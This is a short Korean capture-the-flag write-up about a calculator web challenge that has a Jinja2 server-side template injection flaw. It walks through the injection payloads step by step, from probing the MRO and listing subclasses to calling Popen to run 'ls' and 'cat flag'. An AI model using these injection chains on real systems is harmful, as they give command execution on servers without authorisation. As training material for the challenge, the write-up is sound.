문제 출처 https://h4ckingga.me/challenges
문제에서 알려주는 링크로 접속하면 간단한 계산기 페이지가 나온다.
사용자 입력값을 사용해 서버로 전송한다. 그리고 서버에서는 이를 사용해 결과값을 만들어 내고 이를 출력한다.
어디서 많이 본 로직이다.
SSTI 취약점이 있을거라고 예상하고 접근한다.
SSTI 취약점을 확인하기 위해 문자열과 문자열 클래스의 MRO 튜플 인덱스를 확인한다.
공격문 : test.__class__.__mro__[0]
공격결과
공격결과로 아래와 같은 사실을 확인 가능하다.
1. 서버 템플릿 엔진 jinja2 사용
2. 보통 SSTI 취약점을 확인하기 위해 사용하는 입력값에서 중괄호(braces)가 이미 씌워진 상태로 입력값 사용.
{{'test'.__class__.__mro__[0]}} => 에러 발생
따라서 flag를 찾기 위해 SSTI 취약점을 사용해 탐색한다.
공격문
test.__class__.__mro__[1].__subclasses__()
공격결과
subclasses에서 popen 클래스를 찾는다.
213번째 subclasses 인덱스에서 Popen 클래스가 존재한다.
서버에게 실행시킬 시스템 명령어를 지정 및 출력하기 위해 아래와 같은 명령어를 사요한다.
공격문 : test.__class__.__mro__[1].__subclasses__()[213]('ls',shell=True,stdout=-1).communicate()
공격결과
flag 라는 파일이 보인다. 해당 파일을 확인한다
공격문 : test.__class__.__mro__[1].__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()
공격결과
특정 환경의 입출력 부분으로부터 어떤 취약점이 존재하는지 예상연습이 더 필요하다.